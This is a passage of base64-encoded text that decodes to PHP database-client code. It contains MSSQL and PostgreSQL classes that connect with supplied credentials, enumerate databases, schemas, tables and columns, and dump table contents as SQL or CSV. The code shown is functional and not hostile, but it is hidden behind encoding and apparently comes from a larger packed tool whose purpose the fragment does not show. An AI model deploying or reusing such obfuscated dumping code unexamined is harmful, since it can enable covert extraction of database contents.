RkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0KCRiLCAkcywgJHQsICRjLCAkbywgJGwpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoKCR0aGlzLT5fcmVzID0gc3Fsc3J2X3F1ZXJ5KCR0aGlzLT5fY25jdCwgJ1NFTEVDVCBUT1AgJyAuICgkbyArICRsKSAuICcgJyAuIHNxbEpvaW5Db2x1bW5zKCRjLCAnbXNzcWxFc2NOYW1lJykgLiAnIEZST00gJyAuIG1zc3FsRXNjTmFtZSgkYiwgJHMsICR0KSwgYXJyYXkoKSwgYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ1Njcm9sbGFibGUnID0+IFNRTFNSVl9DVVJTT1JfRFlOQU1JQwogICAgICAgICAgICAgICAgKSkpICYmIHNxbHNydl9mZXRjaCgkdGhpcy0+X3JlcywgU1FMU1JWX1NDUk9MTF9BQlNPTFVURSwgJG8pKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaEFzc29jKCkgewogICAgICAgICAgICAgICAgcmV0dXJuIHNxbHNydl9mZXRjaF9hcnJheSgkdGhpcy0+X3JlcywgU1FMU1JWX0ZFVENIX0FTU09DKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFJvdygpIHsKICAgICAgICAgICAgICAgIHJldHVybiBzcWxzcnZfZmV0Y2hfYXJyYXkoJHRoaXMtPl9yZXMsIFNRTFNSVl9GRVRDSF9OVU1FUklDKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBuZXh0UmVzdWx0KCkgewogICAgICAgICAgICAgICAgcmV0dXJuIHNxbHNydl9uZXh0X3Jlc3VsdCgkdGhpcy0+X3Jlcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHYpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHRoaXMtPl9yZXMgPSBzcWxzcnZfcXVlcnkoJHRoaXMtPl9jbmN0LCAkdikpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHNldEJhc2UoJHYpIHsKICAgICAgICAgICAgICAgIGlmICgkdiAhPT0gJHRoaXMtPl9iYXNlKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9iYXNlID0gTlVMTDsKICAgICAgICAgICAgICAgICAgICBpZiAoIXNxbHNydl9xdWVyeSgkdGhpcy0+X2NuY3QsICdVU0UgJyAuIG1zc3FsRXNjTmFtZSgkYikpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9iYXNlID0gJHY7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBkdW1wKCRiLCAkcywgJHQsICRjLCAkZikgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c2V0QmFzZSgkYikpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHNwcmludGYoRV9DSE5HREIsICRiLCAkcywgJHQpOwogICAgICAgICAgICAgICAgJGkgPSAnJzsKICAgICAgICAgICAgICAgIGlmICgkZikgewogICAgICAgICAgICAgICAgICAgIGlmICgkdiA9ICR0aGlzLT5nZXRDb2x1bW5zKCRiLCAkcywgJHQpKQogICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRDcmVhdGUoJHQsICR2LCAnQklOQVJZJywgJ21zc3FsRXNjTmFtZScpOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSBzcHJpbnRmKEVfQ05TVENTLCAkYiAuICcuJyAuICRzIC4gJy4nIC4gJHQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGMgPSBzcWxKb2luQ29sdW1ucygkYywgJ21zc3FsRXNjTmFtZScpOwogICAgICAgICAgICAgICAgaWYgKCgkcSA9IHNxbHNydl9xdWVyeSgkdGhpcy0+X2NuY3QsICdTRUxFQ1QgJyAuICRjIC4gJyBGUk9NICcgLiBtc3NxbEVzY05hbWUoJGIsICRzLCAkdCkpKSAmJiAoJHYgPSBzcWxzcnZfZmV0Y2hfYXJyYXkoJHEsIFNRTFNSVl9GRVRDSF9BU1NPQykpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRJbnNlcnQobXNzcWxFc2NOYW1lKCR0KSwgJGMpOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBpbXBsb2RlKCc7JywgYXJyYXlfa2V5cygkdikpLCAiXG4iOwogICAgICAgICAgICAgICAgICAgICRkID0gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRkOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZCA9ICRmID8gJywnIDogIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3FsT3V0VmFsdWVzKCR2LCAnbXNzcWxFc2NEYXRhJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNzdk91dFZhbHVlcygkdik7CiAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoJHYgPSBzcWxzcnZfZmV0Y2hfYXJyYXkoJHEsIFNRTFNSVl9GRVRDSF9OVU1FUklDKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI7XG4iOwogICAgICAgICAgICAgICAgICAgIHNxbHNydl9mcmVlX3N0bXQoJHEpOwogICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgJGkgLj0gc3ByaW50ZihFX1NMQ1REVCwgJGIgLiAnLicgLiAkcyAuICcuJyAuICR0KTsKICAgICAgICAgICAgICAgIHJldHVybiAkaTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBjbG9zZSgpIHsKICAgICAgICAgICAgICAgIHNxbHNydl9jbG9zZSgkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHBnc3FsRXNjRGF0YSgkdikgewogICAgICAgICAgICByZXR1cm4gIiciIC4gc3RyX3JlcGxhY2UoYXJyYXkoCiAgICAgICAgICAgICAgICAnXFwnLAogICAgICAgICAgICAgICAgIiciCiAgICAgICAgICAgICksIGFycmF5KAogICAgICAgICAgICAgICAgJ1xcXFwnLAogICAgICAgICAgICAgICAgIicnIgogICAgICAgICAgICApLCAkdikgLiAiJyI7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHBnc3FsRXNjTmFtZSgpIHsKICAgICAgICAgICAgJGEgPSBmdW5jX2dldF9hcmdzKCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRrID0+ICR2KQogICAgICAgICAgICAgICAgJGFbJGtdID0gJyInIC4gc3RyX3JlcGxhY2UoJyInLCAnIiInLCAkdikgLiAnIic7CiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCcuJywgJGEpOwogICAgICAgIH0KICAgICAgICBjbGFzcyBQR1NRTEJhc2UgZXh0ZW5kcyBTUUxCYXNlIHsKICAgICAgICAgICAgdmFyICRoYXZlU2NoZW1hcyA9IFRSVUUsICRjYW5QYWdpbmF0ZSA9IEZBTFNFLCAkX3BhcmFtcyA9ICcnLCAkX2Jhc2UgPSBOVUxMLCAkX2NsY3MgPSBOVUxMOwogICAgICAgICAgICBmdW5jdGlvbiBmaWxsUGFyYW1zKCRoLCAkdSwgJHApIHsKICAgICAgICAgICAgICAgICR2ID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgIGlmICgkaCAhPT0gTlVMTCkgewogICAgICAgICAgICAgICAgICAgIGlmICgkaSA9IHN0cnJwb3MoJGgsICc6JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHZbXSA9ICdob3N0PScgLiAkdGhpcy0+ZXNjUGFyYW0oc3Vic3RyKCRoLCAwLCAkaSkpOwogICAgICAgICAgICAgICAgICAgICAgICAkdltdID0gJ3BvcnQ9JyAuIHN1YnN0cigkaCwgJGkgKyAxKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJHZbXSA9ICdob3N0PScgLiAkdGhpcy0+ZXNjUGFyYW0oJGgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCR1ICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICR2W10gPSAndXNlcj0nIC4gJHRoaXMtPmVzY1BhcmFtKCR1KTsKICAgICAgICAgICAgICAgIGlmICgkcCAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAkdltdID0gJ3Bhc3N3b3JkPScgLiAkdGhpcy0+ZXNjUGFyYW0oJHApOwogICAgICAgICAgICAgICAgJHRoaXMtPl9wYXJhbXMgPSBpbXBsb2RlKCcgJywgJHYpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGNoYXJzZXQoJGspIHsKICAgICAgICAgICAgICAgICR2ID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ1VURjgnLAogICAgICAgICAgICAgICAgICAgICdVVEY4JywKICAgICAgICAgICAgICAgICAgICAnV0lOMTI1MCcsCiAgICAgICAgICAgICAgICAgICAgJ1dJTjEyNTEnLAogICAgICAgICAgICAgICAgICAgICdXSU4xMjUyJywKICAgICAgICAgICAgICAgICAgICAnV0lOMTI1NCcsCiAgICAgICAgICAgICAgICAgICAgJ1dJTjEyNTYnLAogICAgICAgICAgICAgICAgICAgICdXSU4xMjU3JywKICAgICAgICAgICAgICAgICAgICAnTEFUSU4xJywKICAgICAgICAgICAgICAgICAgICAnTEFUSU4yJywKICAgICAgICAgICAgICAgICAgICAnSVNPXzg4NTlfNycsCiAgICAgICAgICAgICAgICAgICAgJ0lTT184ODU5XzgnLAogICAgICAgICAgICAgICAgICAgICdMQVRJTjUnLAogICAgICAgICAgICAgICAgICAgICdMQVRJTjcnLAogICAgICAgICAgICAgICAgICAgICdCSUc1JywKICAgICAgICAgICAgICAgICAgICAnR0JLJywKICAgICAgICAgICAgICAgICAgICAnU0pJUycsCiAgICAgICAgICAgICAgICAgICAgJ0VVQ19LUicsCiAgICAgICAgICAgICAgICAgICAgJ0VVQ19KUCcsCiAgICAgICAgICAgICAgICAgICAgJ1dJTjg2NicsCiAgICAgICAgICAgICAgICAgICAgJ0tPSThSJywKICAgICAgICAgICAgICAgICAgICAnS09JOFUnCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCR2WyRrXSkgPyAkdlska10gOiAndXRmOCc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZXNjUGFyYW0oJHYpIHsKICAgICAgICAgICAgICAgIHJldHVybiAiJyIgLiBhZGRjc2xhc2hlcygkdiwgIidcXCIpIC4gIiciOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldEJhc2VzKCkgewogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT50cnlRdWVyaWVzKGFycmF5KAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfZGF0YWJhc2UgV0hFUkUgTk9UIGRhdGlzdGVtcGxhdGUnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdF9kYXRhYmFzZScsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBkYXRuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0X2RhdGFiYXNlX2NvbmZsaWN0cycsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBjdXJyZW50X2RhdGFiYXNlKCknCiAgICAgICAgICAgICAgICApKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRTY2hlbWFzKCRiKSB7CiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zZXRCYXNlKCRiKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnRyeVF1ZXJpZXMoYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBzY2hlbWFfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YScsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBuc3BuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19uYW1lc3BhY2UnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1QgdGFibGVfc2NoZW1hIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcycsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBESVNUSU5DVCBzY2hlbWFuYW1lIEZST00gcGdfY2F0YWxvZy5wZ190YWJsZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdF94YWN0X2FsbF90YWJsZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdGlvX2FsbF90YWJsZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdF91c2VyX3RhYmxlcyBVTklPTiBTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdF9zeXNfdGFibGVzJywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIERJU1RJTkNUIHNjaGVtYW5hbWUgRlJPTSBwZ19jYXRhbG9nLnBnX3N0YXRfeGFjdF91c2VyX3RhYmxlcyBVTklPTiBTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdF94YWN0X3N5c190YWJsZXMnLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgRElTVElOQ1Qgc2NoZW1hbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdGlvX3VzZXJfdGFibGVzIFVOSU9OIFNFTEVDVCBESVNUSU5DVCBzY2hlbWFuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0aW9fc3lzX3RhYmxlcycsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBESVNUSU5DVCB0YWJsZV9zY2hlbWEgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucycsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBESVNUSU5DVCBzY2hlbWFuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0cycKICAgICAgICAgICAgICAgICkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGdldFRhYmxlcygkYiwgJHMpIHsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNldEJhc2UoJGIpKQogICAgICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgICAgICRzID0gcGdzcWxFc2NEYXRhKCRzKTsKICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+dHJ5UXVlcmllcyhhcnJheSgKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIHRhYmxlX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYT0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCByZWxuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0X2FsbF90YWJsZXMgV0hFUkUgc2NoZW1hbmFtZT0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCByZWxuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0aW9fYWxsX3RhYmxlcyBXSEVSRSBzY2hlbWFuYW1lPScgLiAkcywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIHJlbG5hbWUgRlJPTSBwZ19jYXRhbG9nLnBnX3N0YXRfeGFjdF9hbGxfdGFibGVzIFdIRVJFIHNjaGVtYW5hbWU9JyAuICRzLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgdGFibGVuYW1lIEZST00gcGdfY2F0YWxvZy5wZ190YWJsZXMgV0hFUkUgc2NoZW1hbmFtZT0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCByZWxuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0X3N5c190YWJsZXMgV0hFUkUgc2NoZW1hbmFtZT0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCByZWxuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0X3VzZXJfdGFibGVzIFdIRVJFIHNjaGVtYW5hbWU9JyAuICRzLAogICAgICAgICAgICAgICAgICAgICdTRUxFQ1QgcmVsbmFtZSBGUk9NIHBnX2NhdGFsb2cucGdfc3RhdGlvX3N5c190YWJsZXMgV0hFUkUgc2NoZW1hbmFtZT0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCByZWxuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0aW9fdXNlcl90YWJsZXMgV0hFUkUgc2NoZW1hbmFtZT0nIC4gJHMsCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCByZWxuYW1lIEZST00gcGdfY2F0YWxvZy5wZ19zdGF0X3hhY3Rfc3lzX3RhYmxlcyBXSEVSRSBzY2hlbWFuYW1lPScgLiAkcywKICAgICAgICAgICAgICAgICAgICAnU0VMRUNUIHJlbG5hbWUgRlJPTSBwZ19jYXRhbG9nLnBnX3N0YXRfeGFjdF91c2VyX3RhYmxlcyBXSEVSRSBzY2hlbWFuYW1lPScgLiAkcwogICAgICAgICAgICAgICAgKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0Q29sdW1ucygkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICAkYSA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnRyeVF1ZXJpZXMoYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBjb2x1bW5fbmFtZSx1ZHRfbmFtZSxpc19udWxsYWJsZSxjb2x1bW5fZGVmYXVsdCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX25hbWU9JyAuIHBnc3FsRXNjRGF0YSgkdCkgLiAnIEFORCB0YWJsZV9zY2hlbWE9JyAuIHBnc3FsRXNjRGF0YSgkcyksCiAgICAgICAgICAgICAgICAgICAgJ1NFTEVDVCBhLmF0dG5hbWUsIEZPUk1BVF9UWVBFKGEuYXR0dHlwaWQsYS5hdHR0eXBtb2QpLCBhLmF0dG5vdG51bGwsIGQuYWRzcmMgRlJPTSBwZ19hdHRyaWJ1dGUgYSBMRUZUIEpPSU4gcGdfYXR0cmRlZiBkIE9OIGQuYWRyZWxpZD1hLmF0dHJlbGlkIEFORCBkLmFkbnVtPWEuYXR0bnVtIFdIRVJFIGF0dHJlbGlkID0gJyAuIHBnc3FsRXNjRGF0YShwZ3NxbEVzY05hbWUoJHMsICR0KSkgLiAnOjpyZWdjbGFzcyBBTkQgYXR0bnVtPjAgQU5EIE5PVCBhdHRpc2Ryb3BwZWQnCiAgICAgICAgICAgICAgICApKSkgewogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkdiA9ICR0aGlzLT5mZXRjaFJvdygpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2WzFdID0gc3RydG91cHBlcigkdlsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdlsyXVswXSA9PT0gJ04nIHx8ICR2WzJdWzBdID09PSAnZicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdlsxXSAuPSAnIE5PVCBOVUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2WzNdICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZbMV0gLj0gJyBERUZBVUxUICcgLiBwZ3NxbEVzY0RhdGEoJHZbM10pOwogICAgICAgICAgICAgICAgICAgICAgICAkYVskdlswXV0gPSAkdlsxXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHNlbGVjdCgkYiwgJHMsICR0LCAkYywgJG8sICRsKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgJyAuIHNxbEpvaW5Db2x1bW5zKCRjLCAncGdzcWxFc2NOYW1lJykgLiAnIEZST00gJyAuIHBnc3FsRXNjTmFtZSgkcywgJHQpIC4gJyBMSU1JVCAnIC4gJGwpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGNsYXNzIFBHU1FMQ2xpZW50IGV4dGVuZHMgUEdTUUxCYXNlIHsKICAgICAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaCwgJHUsICRwLCAkYiwgJGMpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5fYmFzZSA9ICRiOwogICAgICAgICAgICAgICAgJHRoaXMtPl9jbGNzID0gJGM7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsbFBhcmFtcygkaCwgJHUsICRwKTsKICAgICAgICAgICAgICAgICR2ID0gJHRoaXMtPl9wYXJhbXM7CiAgICAgICAgICAgICAgICBpZiAoJGIgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJyBkYm5hbWU9JyAuICR0aGlzLT5lc2NQYXJhbSgkYik7CiAgICAgICAgICAgICAgICAkdGhpcy0+X2NuY3QgPSBwZ19jb25uZWN0KCR2KTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPl9jbmN0ICYmICRiID09PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY25jdCA9IHBnX2Nvbm5lY3QoJHRoaXMtPl9wYXJhbXMgLiAnIGRibmFtZT10ZW1wbGF0ZTEnKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPl9jbmN0KQogICAgICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgICAgIHBnX2V4ZWMoJHRoaXMtPl9jbmN0LCAiU0VUIENMSUVOVF9FTkNPRElORyBUTyAnIiAuICR0aGlzLT5jaGFyc2V0KCRjKSAuICInIik7CiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRFcnJvcigpIHsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+X2NuY3QpIHsKICAgICAgICAgICAgICAgICAgICAkdiA9IChQSFBfVkVSU0lPTiA+PSAnNC4yJykgPyBwZ19sYXN0X2Vycm9yKCR0aGlzLT5fY25jdCkgOiBwZ19lcnJvcm1lc3NhZ2UoJHRoaXMtPl9jbmN0KTsKICAgICAgICAgICAgICAgICAgICBwZ19jbG9zZSgkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiAnJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiB0cnlRdWVyaWVzKCRhKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPl9yZXMgPSBwZ19leGVjKCR0aGlzLT5fY25jdCwgJHYpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaEJhc2UoKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCR2ID0gcGdfZmV0Y2hfcm93KCR0aGlzLT5fcmVzKSkgPyAkdlswXSA6IEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHNldEJhc2UoJHYpIHsKICAgICAgICAgICAgICAgIGlmICgkdiAhPT0gJHRoaXMtPl9iYXNlKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9iYXNlID0gTlVMTDsKICAgICAgICAgICAgICAgICAgICBwZ19jbG9zZSgkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICAgICAgICAgIGlmICghKCR0aGlzLT5fY25jdCA9IHBnX2Nvbm5lY3QoJHRoaXMtPl9wYXJhbXMgLiAnIGRibmFtZT0nIC4gJHRoaXMtPmVzY1BhcmFtKCR2KSkpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9iYXNlID0gJHY7CiAgICAgICAgICAgICAgICAgICAgcGdfZXhlYygkdGhpcy0+X2NuY3QsICJTRVQgQ0xJRU5UX0VOQ09ESU5HIFRPICciIC4gJHRoaXMtPmNoYXJzZXQoJHRoaXMtPl9jbGNzKSAuICInIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFNjaGVtYSgpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHYgPSBwZ19mZXRjaF9yb3coJHRoaXMtPl9yZXMpKSA/ICR2WzBdIDogRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hUYWJsZSgpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHYgPSBwZ19mZXRjaF9yb3coJHRoaXMtPl9yZXMpKSA/ICR2WzBdIDogRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0VGFibGVTaXplKCRiLCAkcywgJHQpIHsKICAgICAgICAgICAgICAgIGlmICgoJHYgPSBwZ19leGVjKCR0aGlzLT5fY25jdCwgJ1NFTEVDVCBDT1VOVCgqKSBGUk9NICcgLiBwZ3NxbEVzY05hbWUoJHMsICR0KSkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHYgPSBwZ19mZXRjaF9yb3coJHYpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdlswXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiAnIj8iJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRDb2x1bW5zKCRiLCAkcywgJHQpIHsKICAgICAgICAgICAgICAgICRhID0gcGFyZW50OjpnZXRDb2x1bW5zKCRiLCAkcywgJHQpOwogICAgICAgICAgICAgICAgaWYgKCRhKQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgICRhID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNC4zJyAmJiAoJHYgPSBwZ19tZXRhX2RhdGEoJHRoaXMtPl9jbmN0LCAkcyAuICcuJyAuICR0KSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkayA9PiAkaSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYVska10gPSBzdHJ0b3VwcGVyKCRpWyd0eXBlJ10pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGlbJ25vdCBudWxsJ10pCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVska10gLj0gJyBOT1QgTlVMTCc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNC4yJyAmJiAoJHEgPSBwZ19leGVjKCR0aGlzLT5fY25jdCwgJ1NFTEVDVCAqIEZST00gJyAuIHBnc3FsRXNjTmFtZSgkcywgJHQpIC4gJyBMSU1JVCAwJykpKSB7CiAgICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJHYgPSBwZ19maWVsZF9uYW1lKCRxLCAkaSkpICE9PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gcGdfZmllbGRfdHlwZSgkcSwgJGkrKyk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQ